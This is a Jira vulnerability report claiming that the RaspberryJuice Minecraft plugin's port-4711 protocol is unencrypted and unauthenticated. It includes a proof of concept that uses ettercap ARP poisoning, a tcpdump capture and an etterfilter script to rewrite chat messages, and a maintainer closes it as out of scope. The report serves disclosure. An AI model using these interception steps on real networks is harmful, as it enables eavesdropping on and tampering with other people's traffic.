[PLUG-464] Un(encrypted/authenticated) client/server lead to MiTM Vulnerability in Spigot/RaspberryJuice Created: 20/Nov/21  Updated: 21/Nov/21  Resolved: 21/Nov/21

Status: Resolved
Project: SpigotPlugins
Component/s: None
Affects Version/s: None
Fix Version/s: None

Type: Bug Priority: Major
Reporter: Tariq Hawis Assignee: Unassigned
Resolution: Invalid Votes: 0
Labels: 1.12.1, 1.17.1, RaspberryJuice, Spigot
Environment:

openjdk 17.0.1


Version: 3279-Spigot-3892929-2071671 (MC: 1.17.1) (Implementing API version 1.17.1-R0.1-SNAPSHOT)
Plugin: RaspberryJuice 1.12.1
Guidelines Read: Yes

 Description   

When a client wants to connect to RaspberryJuice, all traffic seems available on the network in plain text. Furthermore, the data sent by the client can be manipulated and resend back to the server while still appearing to be coming from the client:

This bug seems affecting the current and all previous versions of RaspberryJuice and spigot

Reproduce the issue with a server running spigot/RaspberryJuice listening on 4711 and client on the same network with python3 and mcpi lib, here is a test script:

 

from mcpi.minecraft import Minecraft
mc = Minecraft.create(address="192.168.56.1")
mc.postToChat('Hello Minecraft')

On attacker box, use ettercap to run ARP poisoning, now the data is visible uncrypted, with tcpdump:

 

tcpdump -A -i eth1 port 4711 and host 192.168.56.110
04:05:09.845686 IP 192.168.56.110.39210 > 192.168.56.103.4711: Flags [P.], seq 1:28, ack 1, win 229, options [nop,nop,TS val 1057102917 ecr 39383616], length 27
E..O.@@[email protected].*[email protected]._@.............
[email protected](Hello Minecraft)

 

To manipulate the data, load to ettercap the following filter compiled with "etterfilter fil.ecf -o fil.ef": 
 

if (ip.proto == TCP && tcp.dst == 4711 && search(DATA.data, "Hello Minecraft") ) {
 log(DATA.data,"/tmp/mispelled_ettercap.log"); 
 replace("Hello Minecraft","Message Hacked!"); 
 msg("Altered Client Message\n"); 
}

 
 

Resend the message by the client, and the message now will be altered:

 

04:10:37.084001 IP 192.168.56.110.39212 > 192.168.56.103.4711: Flags [P.], seq 1:28, ack 1, win 229, options [nop,nop,TS val 1057429973 ecr 39710674], length 27
E..O=u@[email protected].,.g9b"................
?....]..chat.post(Message Hacked!)

 

 
Suggestions to prevent this:
I haven't tested on the other plugins to confirm but the options to protect this with encrypted/authenticated channel is possible from spigot and/or the plugin level, by using TLS for authentication, and a cipher like RSA, DH, ECDH for keys exchanges.



 Comments   
Comment by md_5 [ 21/Nov/21 ]

RaspberryJuice is not a project maintained by SpigotMC

Generated at Sat Dec 13 02:30:27 UTC 2025 using Jira 10.3.13#10030013-sha1:56dd970ae30ebfeda3a697d25be1f6388b68a422.